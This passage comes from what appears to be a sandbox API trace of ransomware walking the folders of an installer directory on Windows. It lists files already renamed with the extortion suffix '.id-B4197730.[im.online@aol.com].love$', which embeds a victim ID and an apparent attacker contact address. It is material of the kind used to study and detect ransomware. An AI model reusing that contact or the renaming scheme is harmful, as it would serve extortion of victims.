ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.145] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5d3c8c3, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5d3c8c3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5d6294e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.145] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5d8a4af, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5d8a4af, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5dd50b4, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.145] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5d8a4af, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5d8a4af, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5dd50b4, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.145] FindClose (in: hFindFile=0x6cfec8 | out: hFindFile=0x6cfec8) returned 1 [0223.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.146] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5fc4f3a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5fc4f3a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1033", cAlternateFileName="")) returned 1 [0223.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.146] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5fc4f3a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5fc4f3a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.149] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5fc4f3a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5fc4f3a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.149] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa77fd528, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa77fd528, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa77fd528, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.149] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa77fd528, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa77fd528, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7823ec8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.149] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5dd50b4, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5dd50b4, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa778ae79, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.149] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5dd50b4, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5dd50b4, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa778ae79, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.149] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.150] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5e6d950, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1035", cAlternateFileName="")) returned 1 [0223.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.150] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5e6d950, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0208 [0223.153] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5e6d950, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.153] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7823ec8, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7823ec8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa784b419, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.153] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa784b419, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa784b419, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7895cc5, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.153] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5e4787f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5e4787f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.153] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5e4787f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5e4787f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5e6d950, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.153] FindClose (in: hFindFile=0x6d0208 | out: hFindFile=0x6d0208) returned 1 [0223.154] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.154] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa741d650, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1036", cAlternateFileName="")) returned 1 [0223.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.154] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa741d650, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0488 [0223.156] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa741d650, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.156] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa786fc5a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa786fc5a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7aabec5, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.156] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7bdd2e3, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7bdd2e3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7c4f958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.156] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.157] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.157] FindClose (in: hFindFile=0x6d0488 | out: hFindFile=0x6d0488) returned 1 [0223.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.158] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1037", cAlternateFileName="")) returned 1 [0223.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.158] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6cffc8 [0223.161] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.161] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7bb713c, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7bb713c, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7bb713c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.161] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7b1e74e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7b1e74e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7b1e74e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.161] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74b5fbc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.161] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74b5fbc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.162] FindClose (in: hFindFile=0x6cffc8 | out: hFindFile=0x6cffc8) returned 1 [0223.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.162] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1038", cAlternateFileName="")) returned 1 [0223.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.163] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6cff88 [0223.164] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa74dc724, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.164] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7c75b66, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7c75b66, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7c75b66, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.164] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7c75b66, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7c75b66, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7f70b9c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.165] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7469af6, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7469af6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.165] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7469af6, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7469af6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.165] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0223.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.166] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7d3467a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7d3467a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="1040", cAlternateFileName="")) returned 1 [0223.166] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.166] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7d3467a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7d3467a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0548 [0223.169] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7d3467a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7d3467a, 